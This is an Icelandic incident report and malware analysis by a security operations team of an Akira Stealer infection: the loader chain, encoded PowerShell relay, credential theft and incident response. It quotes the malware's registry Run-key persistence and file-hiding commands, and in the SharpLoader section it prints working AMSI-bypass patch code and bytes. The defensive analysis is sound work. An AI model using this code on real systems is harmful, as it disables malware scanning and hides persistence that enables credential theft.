Inni í Akira Stealer: full tæknileg greining á einingaskiptum stealer
Það byrjaði með einu Defender-alerti í Microsoft 365. Ekkert malware, engar signature, engin panik. Aðeins hvísl í kliðnum. Það sem við afhjúpuðum voru mánuðir af þjófnaði á credentials, skurðnákvæmum, hljóðlátum og nánast ósýnilegum. Svona breytti CSOC okkar hljóðlátu merki í fullskala viðbrögð. Og skilaði viðskiptavini okkar stjórninni áður en hann vissi að hún væri farin.

Formáli
Þetta byrjaði eins og svo margar nútímaárásir: í kyrrþey. Defender-alert með lága vissu, "Suspicious sequence of exploration activities", kom upp meðan nýr viðskiptavinur var í onboarding inn í glueckkanja Cyber Security Operations Center (CSOC) okkar.
Það voru engar signature-samsvaranir. Engin flokkun sem malware. Engin viðbrögð frá rauntímavörn. Aðeins ein hegðunarfylgni í Microsoft 365 Defender, grafin í kliðnum, og samt ótvírætt röng.
Við triage á alertinu vakti ein tiltekin aðgerð athygli mína: python.exe hafði opnað bæði skrárnar Login Data og Web Data inni í Chromium-prófíl. Microsoft Defender stigmagnaði þetta samstundis í atvik með hátt alvarleikastig, "Possible theft of passwords and other sensitive web browser information."
Þetta var ekki falskt jákvætt. Þetta var toppurinn á einhverju dýpra.
Þegar ég rakti telemetríuna aftur á bak fann ég almennt binary í startup-möppunni, Updater.exe, sem ræsti NodeJS-byggðan wrapper (main.exe) sem keyrði skipanalínu til að ræsa script sem hét astor.py í gegnum python.exe.
Updater.exe → main.exe → cmd.exe → python.exe Crypto\Util\astor.py
Scriptið sótti ekki bara credentials, það keyrði runu af könnunarskrefum eftir kompromíseringu, þar á meðal registry-fyrirspurnir, fingrafar á kerfinu og upptalningu sem tók mið af réttindum. Það vann af skurðnákvæmni og hermdi eftir eðlilegri hegðun kerfisins til að komast hjá detection. Og það virkaði, næstum því.
Þegar fyrstu viðbrögð hófust:
Updater.exevar merkt af aðeins 1 af 69 engines á VirusTotal.main.exe,astor.pyog allir tengdir hlutar voru í raun ekki merktir á VirusTotal.- Engin skrá var undirrituð. Ekkert upphafið samhengi. Aðeins "venjuleg" ferli að gera mjög óvenjulega hluti.
Updater.exe snerti engin credentials. Það verkefni var frátekið fyrir astor.py, Python-payloadinn sem keyrði í minni, skrá sem skildi nánast engin spor eftir sig samkvæmt hönnun.
Innan 21 mínútu var kerfið sem varð fyrir árásinni einangrað frá netinu. Innan 70 mínútna var öllum credentials skipt út á öllum viðkomandi sviðum: innri auðkennum, SaaS-pöllum, þjónustum þriðja aðila.
En hinn raunverulegi vendipunktur kom þegar við drógum út og afkóðuðum Python-payloadinn að fullu. Það sem við fundum var ekki almennur stealer, heldur sérsniðin útgáfa af Akira Stealer v2, malware-fjölskyldu sem dreift er í viðskiptaskyni og seld í gegnum Telegram.
Þökk sé okkar eigin threat intelligence og reverse engineering getu gátum við endurgert alla virkni malware-sins, dregið út alla innbyggða indikatora og skilið í smáatriðum rökvísi þess við staging, exfiltration og val á credentials.
Það sem meira er, við létum ekki staðar numið við tæknilega attribution. Við gengum lengra.
Við gátum afhent viðskiptavininum heildstætt gagnasafn yfir exfiltreruð credentials: yfir 100 einkvæmar samsetningar notandanafns og lykilorðs, þar á meðal aðgangsupplýsingar að cloud-þjónustum, CRM-kerfum, innri pöllum og jafnvel persónulegum verkfærum lykilstarfsmanna. Þjófnaðurinn hafði staðið yfir mánuðum saman, og við gátum gert grein fyrir honum öllum.
Út frá því sem við lærðum af þessu máli smíðuðum við greiningartól fyrir eftirmála sýkingar sem skannar kerfin sem urðu fyrir árásinni, endurgerir aðgangsmynstur að credentials og býr til ítarlegar forensic-skýrslur sem kortleggja nákvæmlega hverju var stolið, hvenær og hvaðan.
Við sýnum stutta innsýn í þennan skanna í lok skýrslunnar.
Því þetta er meira en bara eitt atvik. Svona rannsökum við. Svona verjum við.
Velkomin í glueckkanja CSOC.
Svona vinnum við, því innbrot bíða ekki.
1. Upphaflegt atvik og samantekt á triage
Þann 31. mars 2025 gaf Microsoft Defender for Endpoint út alert merkt "Suspicious sequence of exploration activities" á Windows 10 64-bita endpoint. Ég hóf triage út frá þessu merki og fór yfir kerfið sem varð fyrir árásinni með hjálp ferlatrésins, tímalínu kerfisins og þeirra gagna sem Defender hafði tengt saman.
1.1 Triage byggt á tímalínu
Alertið benti á runu ferla sem kallaði á nánari skoðun. Við fyrstu yfirferð sá ég eftirfarandi aðgangsmynstur að Chrome-browsergögnum í staðbundna notandaprófílnum:
%LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data%LOCALAPPDATA%\Google\Chrome\User Data\Default\Web Data
Þessi aðgangur var ræstur af ferli sem hét Updater.exe. Þótt Microsoft Defender hefði ekki merkt binary-ið út frá heuristískri eða hegðunarlegri greiningu fann ég detection fyrir Updater.exe á VirusTotal, merkt af einni einustu engine á þeim tímapunkti.

Öll keyrslukeðjan sem sást var svona:
winlogon.exe
└── userinit.exe
└── explorer.exe
└── Updater.exe
└── main.exe
└── cmd.exe /d /s /c "python.exe Crypto\Util\astor.py"
└── python.exe Crypto\Util\astor.py
Á þessu stigi hafði engin dýpri statísk eða dýnamísk greining á viðkomandi skrám farið fram. Áherslan mín var á að skilja hegðunina og samhengið á yfirborðsstigi. Heiti ferlanna og skráaslóðirnar voru almenn, og engin grunsamleg argument á skipanalínu komu fram önnur en hlekkjaða Python-keyrslan.
1.2 Fyrstu viðbrögð
Innan 21 mínútu frá fyrsta alertinu hóf ég einangrun hostsins með einangrunareiginleikum Defender for Endpoint. Markmiðið var að hindra mögulega frekari útbreiðslu eða exfiltration.
Innan fyrstu 70 mínútnanna héldum við áfram og skiptum út þeim credentials sem vitað var að væru notuð á hostinum sem varð fyrir árásinni, og náði það til innri kerfa, SaaS-palla og mikilvægra birgja þriðja aðila.
Reverse engineering-vinnan hófst eftir fyrstu innilokun. Næstu kaflar skjalfesta þá tæknilegu djúpköfun sem fylgdi í kjölfarið til að rannsaka innbrotið.
1.3 Samantekt viðbragða – hröð, gagnsæ, áhrifadrifin
Viðbrögð okkar sameinuðu hraða, sérþekkingu og rekstrarleg gæði, með stuðningi af reyndum verkferlum og fullu gagnsæi fyrir viðskiptavininn.
- Frá detection að fullri innilokun á innan við 90 mínútum Defender-alert, einangrun frá neti, antivirus-skönnun og afturköllun credentials voru framkvæmd hratt og samstillt.
- Ítarleg forensic-viðbrögð innan 48 klukkustunda Þar með talin heildargreining á diski og minni, yfirferð á browser-artifacts, detection á credential dumping og hegðunarleg endurgerð á athöfnum árásaraðilans.
- Örugg endurheimt gagna og meðferð sönnunargagna Stolnu gögnin, þar á meðal cookies, lykilorð, tokens og browser-prófílar, voru endurheimt, varðveitt með forensic-hætti og afhent viðskiptavininum með öruggum hætti.
- Gagnsæi og samskipti frá upphafi til enda Hvert skref, frá fyrsta alerti til úrbóta og yfirferðar, var skjalfest að fullu, deilt í rauntíma og tekið saman í skipulagðri CSIRT-afhendingu.
Þetta atvik sýnir hvernig glueckkanja CSOC stöðvar ekki bara malware, við tökum í sundur afleiðingar þess, skilum viðskiptavinum okkar stjórninni og breytum hverju atviki í þekkingu.
2. Arkitektúr malware-sins og yfirlit yfir keyrslukeðjuna
Malware-ið sem sást á endpointinum sem varð fyrir árásinni fylgdi skipulögðum arkitektúr í mörgum þrepum með skýrri verkaskiptingu: dreifingu, afkóðun, keyrslu og exfiltration gagna.
2.1 Yfirlit yfir keyrslukeðjuna
Keyrsluflæðið sem sást var svona:
Updater.exe
└── main.exe
└── cmd.exe
└── python.exe astor.py
Hver hluti keðjunnar lagði sitt af mörkum til að halda keðjunni ósýnilegri, einingaskiptri og hjá detection. Arkitektúrinn nýtti lögmæt runtimes og staðlaða túlka stýrikerfisins til að komast fram hjá detection-kerfum.
2.1.1 Óvissa um uppruna: upphafsvektorinn vantar
Þrátt fyrir umfangsmikla greiningu á umhverfinu eftir kompromíseringu var ekki hægt að ákvarða upphaflega aðgangsvektorinn með vissu. Óvissan stafar fyrst og fremst af því að malware-ið hafði verið virkt í áætlaða sex mánuði áður en það fannst, sem er lengra en sá geymslutími logga sem Microsoft Defender for Endpoint framfylgir.
Þar af leiðandi var engin telemetría eða forensic-artifacts til frá upphaflegum sýkingartíma. Engir upphaflegir atburðir um stofnun ferla, engin ummerki um skrár sem voru skrifaðar á disk og engar skipanalínufærslur tengdar afhendingarþrepinu voru endurheimtanlegar úr tímalínu Defender eða tengdum skynjurum.
Út frá samhengisvísbendingum og OSINT-heimildum gæti líkleg sýkingarleið hafa falið í sér:
- Trójuvædd uppsetningarforrit fyrir crackaðan eða moddaðan leikjahugbúnað
- Fölsuð hjálparforrit eða "performance boosters" sem dreift er á spjallborðum og vefsvæðum þriðja aðila
- Illgjörn browser extensions sem beinast að tilteknum áhugasviðum notenda (t.d. kryptótengd verkfæri eða Discord-viðbætur)
Þetta eru þó áfram getgátur.
Enginn staðfestur dropper, enginn phishing-tölvupóstur og ekkert kompromíserað vefsvæði fannst við rannsóknina. Þótt arkitektúr malware-sins og keyrslukeðjan hafi verið endurgerð að fullu var ekki hægt að staðfesta upphaflega kompromíseringarpunktinn (MITRE ATT&CK T1190 / T1566).
2.1.2 Updater.exe – upphaflegur loader
Þegar ég fór yfir ferlatréð í Microsoft 365 Defender stakk Updater.exe strax í augu, ekki vegna þess sem það gerði, heldur vegna þess hversu hljóðlega það kom sér fyrir í keyrsluflæði kerfisins.
Þetta binary var skráð til sjálfvirkrar keyrslu í gegnum staðlaða Run-lykilinn í Windows:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Það þýddi að það ræstist í hvert sinn sem notandinn skráði sig inn í setuna sína, klassískur persistence-búnaður sem krefst engra upphafinna réttinda og sleppur oft óséður í gegn í EDR-telemetríu.
- Skráartegund: keyranleg Windows PE-skrá (32-bita)
- Undirritun: engin
- VirusTotal-detection: 1 af 69 engines þegar triage fór fram
- Keyrslusamhengi: medium integrity, notandaseta
- Staðsetning:
AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
Skráin sjálf var lítil, hreinlega þýdd og eftirtektarlaus frá sjónarhóli statískrar greiningar. Engir grunsamlegir strengir, engir dulkóðaðir hlutar og engin merki um obfuskun eða packing. Hún flutti inn aðeins lágmarkssafn af stöðluðum Windows API-föllum og innihélt engan innbyggðan payload.
Hegðun þess sagði þó meira. Eftir ræsingu dró Updater.exe út Electron-forrit úr meðfylgjandi safnskrá, sjálfstætt NodeJS-runtime pakkað með stöðluðum Electron-verkfærum. Í þessari útpökkuðu möppu var keyranleg skrá sem hét main.exe, sem var í kjölfarið ræst sem barnferli.
Updater.exe → main.exe
Á þessu stigi voru engir netindikatorar, engin process injection og ekkert frávik í réttindum eða upphafningu tokens. Allt hlutverk Updater.exe virtist vera hlutverk loaders, að koma hluta á öðru þrepi (main.exe) inn í umhverfið, líklega með það markmið að halda keðjunni ósýnilegri og einingaskiptri.
Þessi arkitektúrlega aðgreining er algeng í nútíma fjöldaframleiddu malware og stealer-verkfærasettum. Upphaflegi loaderinn virkar aðeins sem dreifingarstubbur og leyfir þyngri rökvísinni, oft obfuskeraðri, túlkaðri eða dýnamískt myndaðri, að liggja í síðari þrepum.
Í þessu tilviki þjónaði Updater.exe nákvæmlega þeim tilgangi: hljóðlátri fyrstu fótfestu hannaðri til að falla inn í umhverfið, haldast ógreind og ryðja brautina fyrir keyrslu hinnar eiginlegu stealer-rökvísi í main.exe og að lokum astor.py.
Það snerti ekki skráakerfið utan sinnar eigin möppu og virkjaði engar hegðunarreglur, og samt var það fyrsti dómínókubburinn í langri og vandlega smíðaðri árásarkeðju.
2.1.3 main.exe – obfuskerað ílát fyrir NodeJS-payload
Í kjölfar keyrslu Updater.exe var ræst binary á öðru þrepi sem hét main.exe. Þessi hluti kynnti sig sem venjulegt Electron-forrit, runtime-umhverfi sem pakkar saman Node.js og Chromium og er oft notað fyrir skjáborðsforrit á mörgum stýrikerfum. Sakleysislegt eðli þess er hluti af því sem gerir það svo hættulegt í röngum höndum.
Við skoðun kom í ljós að main.exe innihélt innri safnskrá sem hét app.asar, staðlaða pökkunarsniðið fyrir Electron-byggð forrit. Ólíkt lögmætum Electron-forritum var innihald þessarar safnskrár þó allt annað en venjulegt.
- Pallur: Electron (Node.js + Chromium)
- Arkitektúr: 64-bita Windows
- Uppbygging innihalds: innbyggðar JavaScript-skrár í
app.asar - Stig obfuskunar: hátt, náð með
js-confuser, obfuskunarverkfærasetti fyrir JavaScript sem selt er á almennum markaði
Eftir decompilering og afobfuskun varð kjarnarökvísi main.exe augljós. Tilgangur þess var ekki að birta GUI eða keyra neina framendarökvísi, heldur virkaði það sem falinn stjórnandi keyrslunnar.
Hegðun sem sást:
- Afkóðar og endurgerir Base64-kóðaða PowerShell-skipun sem geymd er inni í JavaScript-payloadinum
- Ræsir
cmd.exetil að keyra PowerShell-skipunina inline - PowerShell-skipunin kallar svo á
python.exeog sendir með script sem liggur undir að því er virðist meinlausri möppuuppbyggingu (Crypto\Util\astor.py)
main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\Util\astor.py
Þessi hlekkjun gerði árásaraðilanum kleift að færa sig milli keyrslusamhengja og komast hjá einfaldri detection. Þar sem payloadinn var obfuskeraður og staged í minni komu hefðbundnar signature-byggðar varnir að engu gagni.
Electron-frameworkið veitti kjörna yfirhylmingu og leyfði keyrslu á handahófskenndu JavaScript án þess að vekja athygli. JavaScript-byggð keyrsla gaf einnig samhæfni milli stýrikerfa, sem leyfði sveigjanlega dreifingu og einfaldari samþættingu á dýnamískri stýrirökvísi.
Það sem gerði main.exe sérstaklega hættulegt var geta þess til að starfa án þess að skrifa niður nokkrar viðbótarskrár umfram það sem þegar hafði verið staged. Stealer-scriptið var kallað beint af diski, en öll staging- og keyrslurökvísi var áfram innbyggð í Electron-búntinum.
Í stuttu máli þjónaði main.exe sem obfuskeraður keyrslukjarni í mörgum lögum og virkaði sem hliðvörður milli upphaflegs persistence og fullrar virkjunar Akira Stealer-payloadsins í astor.py.
2.1.4 cmd.exe og PowerShell-relay
Þetta þrep keyrslukeðjunnar virkaði sem relay, ekki fyrir payload-rökvísi heldur fyrir obfuskun og óbeina leið.
Eftir að main.exe hafði lokið sínu hlutverki við að pakka út og afkóða payloadinn ræsti það cmd.exe-ferli. Þetta ferli innihélt sjálft enga illgjarna rökvísi og hvorki skrifaði né breytti skrám. Eini tilgangur þess var að vera wrapper utan um ræsingu PowerShell-setu með kóðaðri skipun.
Þessi aðferð er vel þekkt taktík til að draga úr sýnileika og komast hjá detection:
- Keyrslukeðja:
main.exe → cmd.exe /d /s /c "powershell -EncodedCommand <Base64Payload>" - Tilgangur:
- Pakkar PowerShell-keyrslunni inn í aukalegt shell
- Felur hinn eiginlega PowerShell-kóða fyrir beinum sýnileika í loggum
- Kemst hjá EDR-kerfum sem bregðast við beinni notkun
powershell.exemeð grunsamlegum breytum
Með því að setja PowerShell-scriptið inn sem Base64-kóðaðan streng og kalla á það í gegnum cmd.exe komst árásaraðilinn hjá mörgum tegundum detection:
- Heuristískum síum á skipanalínu
- Staðlaðri loggun (t.d. Event ID 4104, 4688)
- Reglubyggðum detections á
powershell.exe-argument eins og-NoProfile,-ExecutionPolicy Bypasseða inline-scriptum
Athygli vekur að PowerShell-skipuninni var haldið í lágmarki og hún snerist eingöngu um að ræsa python.exe með slóð á innbyggða stealer-scriptið, astor.py. Engar viðbótareiningar voru hlaðnar og engar augljósar signature voru til staðar í minni.
Þessi relay-tækni er jafnt notuð í red teaming og af fágðum infostealers, sem létt evasion-lag sem er auðvelt að útfæra en erfitt að grípa án þess að tengja saman telemetríu.
Í þessu tilviki þjónaði cmd.exe nákvæmlega þeim tilgangi: einfaldri, hljóðlátri brú milli JavaScript-rökvísi og Python-keyrslu, brú sem slapp næstum því óséð í gegn.
2.1.5 python.exe með astor.py
Lokaþrepi keyrslukeðjunnar og því áhrifamesta var náð þegar python.exe kallaði á astor.py, einingaskiptan infostealer skrifaðan í Python sem keyrir alfarið í minni. Þetta script var rekstrarkjarni allrar árásarkeðjunnar.
Ólíkt mörgum fjöldaframleiddum stealers var astor.py ekki sett fram í plaintext. Það var varið með afkóðunarbúnaði í mörgum lögum:
- Afkóðunarstakkur: Skráin var fyrst þjöppuð með GZIP og síðan dulkóðuð með AES-256-CBC.
- Lykilleiðsla: Notað var PBKDF2-byggt ferli til að leiða lykil (SHA-512, 1.000.000 ítranir), sem gerir statíska greiningu og brute-forcing afar óhagkvæma.
Eftir afkóðun á keyrslutíma keyrði scriptið nokkrar sérhæfðar einingar sem allar beindust að viðkvæmum gagnalindum:
Kjarnavirkni
- Útdráttur browsergagna: sótti innskráningar-credentials, cookies og sjálfvirk útfyllingargögn úr Chromium-byggðum browsers (Chrome, Edge, Brave, Opera)
- Söfnun tokens: safnaði setutokens, einkum frá Discord, og leitaði að extensions fyrir kryptóveski
- Pökkun gagna: safnaði öllum söfnuðum gögnum í skipulagða ZIP-safnskrá og varðveitti möppu- og skráasamhengi fyrir úrvinnslu hjá árásaraðilanum
- Exfiltration: hlóð safnskránni sem varð til upp á opinber API og innviði.
Keyrslusamhengi
Öll stealer-rökvísin keyrði úr minni og engar varanlegar skrár voru skrifaðar á disk. Hún skildi eftir sig lágmarksspor í telemetríu umfram minnis-artifacts innan ferlisins og staðlað kall á undirferli. Engin tilraun var gerð til að koma á persistence á þessu þrepi, markmiðið var hraður, skilvirkur og hljóðlátur gagnaþjófnaður.
Notkun lögmætra API við exfiltration gerði detection og varnir einnig mun erfiðari, því útgangandi umferð féll inn í venjubundna netnotkun.
Þetta þrep staðfesti að lokum hvaða malware var á ferðinni: afbrigði af Akira Stealer v2, sem er þekkt fyrir:
- Mikla einingaskiptingu
- Obfuskun á keyrslutíma
- Dreifingu í viðskiptaskyni í gegnum Telegram
- Sterka áherslu á söfnun credentials og yfirtöku seta með tokens
Ásamt fyrri þrepunum myndaði astor.py úrslitapunkt í hljóðlátri og vel hannaðri infostealer-keðju. Í næstu köflum tökum við þennan hluta enn frekar í sundur og skýrum hvernig við snerum rökvísi hans við, kortlögðum innviði hans og endurheimtum hvern einasta indicator of compromise sem notaður var í aðgerðinni.
3. Deep Dive: Updater.exe
Updater.exe var fyrsta binary-ið sem sást við greiningu eftir kompromíseringu. Þrátt fyrir hlutlaust yfirbragð og hverfandi detection-fótspor gegndi það lykilhlutverki í að viðhalda rekstrarlegu persistence malware-sins og koma payload næsta þreps á sinn stað.
3.1 Eiginleikar
| Eiginleiki | Gildi |
|---|---|
| Snið: | Windows Portable Executable (PE32) |
| Arkitektúr: | x86-64 |
| Stærð: | ~154 KB |
| Entrópía: | eðlileg (ekki packað) |
| Signature: | engin |
| VirusTotal-detection: | 1/69 við greiningu |
Skráin hafði hreina import table og enga innbyggða strengjaindikatora. Engir þekktir packers, crypters eða obfuskunarbúnaður á keyrslutíma fundust. Uppbyggingin var í samræmi við sérþýdd binaries.
3.2 Hegðunargreining
Engin þátttaka notanda nauðsynleg
Malware-keðjan keyrði án þess að þurfa nokkra þátttöku notanda. Út frá ferlatelemetríu Defender var upphaflega binary-ið (Updater.exe) ræst sjálfkrafa, líklega í gegnum persistence-búnað eins og autorun-lykil í registry. Vegna aldurs kompromíseringarinnar og þess að eldri event logs vantaði var þó ekki unnt að endurheimta nákvæmlega hvaða aðferð var notuð.
Hljóðlát keyrsla og staging
Við keyrslu ræsti Updater.exe samstundis main.exe án nokkurs glugga og án nokkurra kvaðninga til notandans. Staging fór hljóðlega fram í bakgrunni. Það voru engin merki um samþykkisglugga, UAC-kvaðningar eða GUI-hluta.
Hegðun við dreifingu payloads
Í ljós kom að main.exe var hluti af Electron-forritsuppbyggingu, en nákvæmur uppruni dreifingar þess er enn óskýr. Annað af eftirfarandi er talið líklegt:
- Payloadinn gæti hafa verið innbyggður í
Updater.exe(t.d. sem innbyggt tilfang), eða - Hann gæti hafa verið sóttur frá fjartengdri heimild
Vegna þess að nettelemetría vantaði og engin harðkóðuð URL fannst er afhendingarvektorinn fyrir Electron-forritið enn óvís.
Hegðun ferlakeðjunnar
Við keyrslu ræsti Updater.exe main.exe sem barnferli. Kallið var ógagnvirkt og ekkert ferli sem sprottið var úr keðjunni sýndi virkni í viðmóti. Ferlakeðjan hélt áfram eins og vænta mátti:
Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py
Öll keyrsluþrep unnu án þess að þurfa inntak frá notanda og reiddu sig eingöngu á fyrirfram stillta ræsirökvísi og hljóðlátar keyrsluleiðir. Það lágmarkaði sýnileika og hjálpaði malware-inu að haldast ógreint í langan tíma.
3.3 Hlutverk í sýkingarkeðjunni
Updater.exe gegndi einu en ómissandi hlutverki í hinni víðari sýkingarkeðju: það var ábyrgt fyrir persistence og endurdreifingu hlutans á þrepi 2, main.exe.
Staðfest einkenni
- Það innihélt ekki og keyrði ekki illgjarna rökvísi með beinum hætti
- Það framkvæmdi enga exfiltration gagna
- Það hafði engin samskipti við credential-geymslur browsers eða viðkvæm notandagögn
Eini tilgangur þess var að ræsa main.exe hljóðlega við innskráningu notanda, og var autorun-færsla í registry líklegasta aðferðin við persistence (þótt hún hafi ekki verið endurheimt með beinum hætti vegna takmarkana í telemetríu).
Með því að vera einangraður loader á fyrsta þrepi tryggði Updater.exe að hinn eiginlegi stealer-payload (astor.py) héldist hulinn í dýpri lögum keyrslunnar. Þessi verkaskipting gerði árásaraðilunum kleift að:
- Komast hjá tengingum hjá statískum AV- eða sandbox-kerfum
- Skipta út eða uppfæra payloads án þess að breyta loadernum
- Draga úr hegðunarmerkjum við aðgangspunktinn
Þetta mynstur er dæmigert í malware-as-a-service (MaaS) aðgerðum, þar sem afhendingarbúnaðurinn er almennur og payloads einingaskipt eða sérsniðin að hverjum viðskiptavini.
Í þessu tilviki bauð Updater.exe upp á nákvæmlega þá rökvísi sem þurfti til að vera áreiðanlegur og hljóðlátur aðgangspunktur, ekkert meira en líka ekkert minna.
3.4 Persistence í gegnum registry (staðfest í astor.py)
Statísk greining á Python-payloadinum sýndi að Updater.exe er haldið við með beinum hætti með autorun-færslu í registry:
- Registry-slóð:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run - Heiti gildis:
Realtek Audio - Slóð payloads:
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe
Tilheyrandi registry-skipun er keyrð í gegnum PowerShell:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Realtek Audio" /t REG_SZ /d "...\Updater.exe" /f
Þetta tryggir að malware-ið ræsist við hverja innskráningu notanda. Skráin er einnig merkt með hidden- og system-eigindum til að komast enn betur hjá detection:
attrib +h +s "Updater.exe"
Þessi persistence-búnaður var byggður beint inn í astor.py-kóðann, sem staðfestir að stealerinn á lokaþrepinu heldur loadernum virkt við á diski og í startup-registry.
3.5 Samantekt
Þótt
Updater.exehafi ekki verið illgjarnt í sjálfu sér, hvorki í uppbyggingu né innihaldi, staðfesti hegðun þess í samhengi keyrslukeðjunnar hlutverk þess sem malware-loader.
Þetta binary var hreinn og lágmarksstilltur ræsir á fyrsta þrepi og komst hjá detection frá statískri greiningu, AV-engines og hegðunarreglum. Hönnun þess einbeitti sér eingöngu að því að vera ósýnileg og styðja aðgerðina, ekki að keyra illgjarna rökvísi sjálf.
Hlutverk þess fór þó lengra en upphafleg dreifing. Við reverse engineering á astor.py-payloadinum greindum við rökvísi sem athugaði virkt hvort Updater.exe væri til staðar. Þessi athugun var hluti af víðari heilsu- og sjálfslæknandi hringrás innbyggðri í stealer-kóðann, búnaði sem ætlað var að sannreyna heilleika sýkingarkeðjunnar og endurheimta hluta sem vantaði ef þörf væri á.
Það þýðir að Updater.exe var ekki aðeins ábyrgt fyrir því að setja malware-ið af stað, heldur var það einnig hluti af áframhaldandi sannvottun þess á keyrslutíma. Án þessa stubbs gæti malware-ið misst getuna til að ræsa sig upp á nýtt í seinni setum.
Helstu hlutverk Updater.exe:
- Snurðulaus dreifing
main.exe - Óbein keyrsla
astor.py - Aðgreining rökvísi loaders og payloads
- Payloadinn sjálfur vísar í það sem hluti af vöktun á rekstrarheilsu
Í kafla 5 förum við nánar í innri heilsuathuganir stealersins, þar á meðal sjálfslæknandi hegðun hans og búnað til að sannvotta heilleika.
Að svo stöddu er ljóst að Updater.exe var bæði kveikjan og festan í þessum lagskipta infostealer-arkitektúr.
3.6 Útdráttarbrella: að leika á loaderinn
Stundum koma bestu niðurstöðurnar í reverse engineering ekki úr djúpri afþýðingu binaries, heldur úr smávægilegri brellu og þolinmæði.
Meðan við greindum sýkinguna í stýrðu tilraunaumhverfi tókum við eftir dálítið skrítnu: Updater.exe var til staðar og í keyrslu, en main.exe var horfið úr skráakerfinu. Þá fengum við hugmynd: hvað gerist ef við látum malware-ið gera við sig sjálft?
Við eyddum main.exe vísvitandi úr sýkta umhverfinu en létum Updater.exe óhreyft. Og viti menn, eftir næstu innskráningu notanda fór loaderinn á stað, ekki með gauragangi heldur með hljóðlátri tilraun til að byggja annað þrepið upp aftur.
Hér varð þetta áhugavert: í stað þess að endurgera main.exe beint skrifaði Updater.exe fyrst niður skrá sem hét app-64.7z, venjulega 7-Zip-safnskrá. Þessi safnskrá innihélt alla Electron-forritsuppbygginguna, þar á meðal main.exe, resources og app.asar-payloadinn með allri innbyggðri rökvísi.
Við höfðum í reynd þvingað malware-ið til að afhenda okkur upprunapakkann.

Með þessa 7z-safnskrá í höndunum gátum við dregið út, afþjappað og snúið JavaScript-byggðu stjórnrökvísinni við að fullu án þess að þurfa að koma nærri upprunalega loadernum aftur. Uppbygging safnskrárinnar passaði nákvæmlega við það Electron-forritsskipulag sem vænta mátti.
Þessi hegðun bendir sterklega til þess að árásaraðilarnir hafi vísvitandi valið einingaskiptan arkitektúr sem einfalt er að viðhalda og notað safnskrár sem sveigjanleg ílát fyrir payloads. Það gerði þeim einnig kleift að skipta út eða uppfæra hluta payloadsins án þess að endurþýða loader-binary-ið.
Og í okkar tilviki gerði það okkur kleift að leika á keðju þeirra, hlera droppið og hverfa á braut með allan pakkann, eins og að stela hönnunarteikningunum af vinnubekknum á meðan smiðurinn sneri sér undan.
Segjum bara sem er: stundum eru bestu forensic-verkfærin del, wait og smá forvitni.
4. Deep Dive: pow.bat
Í malware-herferðinni sem greind var virkar hlutinn Invoke-SharpLoader sem sérsmíðaður .NET-loader sem býr í minni og sýnir mjög einingaskipt og evasivt keyrsluflæði. Þessi kafli tekur í sundur innri arkitektúr hans, aðferðir hans gegn greiningu með AMSI-patchi og hlutverk hans í að greiða fyrir payloadinum á öðru þrepi.
4.1 Eiginleikar binaries – SharpLoader batch-wrapper
Áður en hann er keyrður til að hlaða .NET-payloadinum í minni sýnir ytri wrapperinn pow.bat eftirfarandi einkenni samkvæmt statískri greiningu:
| Eiginleiki | Gildi |
|---|---|
| Snið: | DOS batch-skrá |
| Arkitektúr: | scriptbyggt (ekki þýtt binary) |
| Skráarstærð: | 27,79 KB (28454 bæti) |
| Entrópía: | eðlileg (einfaldur ASCII-texti) |
| Magic: | DOS batch file, ASCII text |
| Rafræn undirritun: | engin greind |
| VirusTotal-detection: | 26 / 61 (við greiningu) |
| Ógnarmerkingar: | trojan, downloader, powershell, agentb |
Þótt þetta sé einföld .bat-skrá kemst scriptið hjá mörgum statískum detections og reiðir sig mjög á living-off-the-land aðferðir eins og PowerShell til að sækja og keyra obfuskeraða og dulkóðaða payloads.
4.2 Aðferð til að komast hjá AMSI (klasi: gofor4msi)
Einn fyrsti varnarbúnaðurinn sem SharpLoader kemst hjá er AMSI, Anti-Malware Scan Interface, eiginleiki Microsoft sem samþættur er í scriptvélar eins og PowerShell og Windows Script Host til að skanna innihald í rauntíma með tilliti til grunsamlegrar hegðunar. Höfundar malware reyna oft að komast hjá AMSI til að forðast detection frá endpoint-vörnum.
Í SharpLoader er AMSI komist hjá með beinum patchi í minni á fallinu AmsiScanBuffer inni í amsi.dll. Þetta fall er venjulega ábyrgt fyrir því að greina innihald scripta og skila niðurstöðukóða sem segir til um hvort innihaldið sé grunsamlegt (AMSI_RESULT_DETECTED) eða hreint (AMSI_RESULT_CLEAN).
Viðkomandi kóði fyrir patch í minni er:
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "AmsiScanBuffer");
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);
Marshal.Copy(patch, 0, addr, patch.Length);
Þessi runa framkvæmir eftirfarandi skref:
- Hlaðið AMSI-DLL-inu inn í ferlið með
LoadLibrary("amsi.dll"). - Finnið minnisheimilisfangið fyrir fallið
AmsiScanBuffermeðGetProcAddress(). - Breytið minnisvörninni á heimilisfanginu með
VirtualProtect()svo það verði skrifanlegt. - Skrifið yfir upphaf fallsins með
Marshal.Copy()og litlum shellcode-patchi.
Patchinn sem notaður er á 64-bita kerfum er:
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret
Það samsvarar eftirfarandi instructions:
mov eax, 0x80070057→ setur skilakóðann á Windows-villukóðannE_INVALIDARGret→ skilar samstundis úr fallinu
Þetta veldur því í reynd að AmsiScanBuffer bregst hljóðlega og skilar niðurstöðu um enga detection, sem gerir AMSI-athuganir óvirkar. Malware-ið getur nú keyrt scripta eða .NET-kóða sem annars myndi kveikja á antivirus-alerts.
Sé þetta keyrt á 32-bita kerfi er annar patch notaður:
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18
Þetta endurspeglar sama markmið, að þvinga fram "hreina" niðurstöðu, en aðlagað að x86-kallvenjunni.
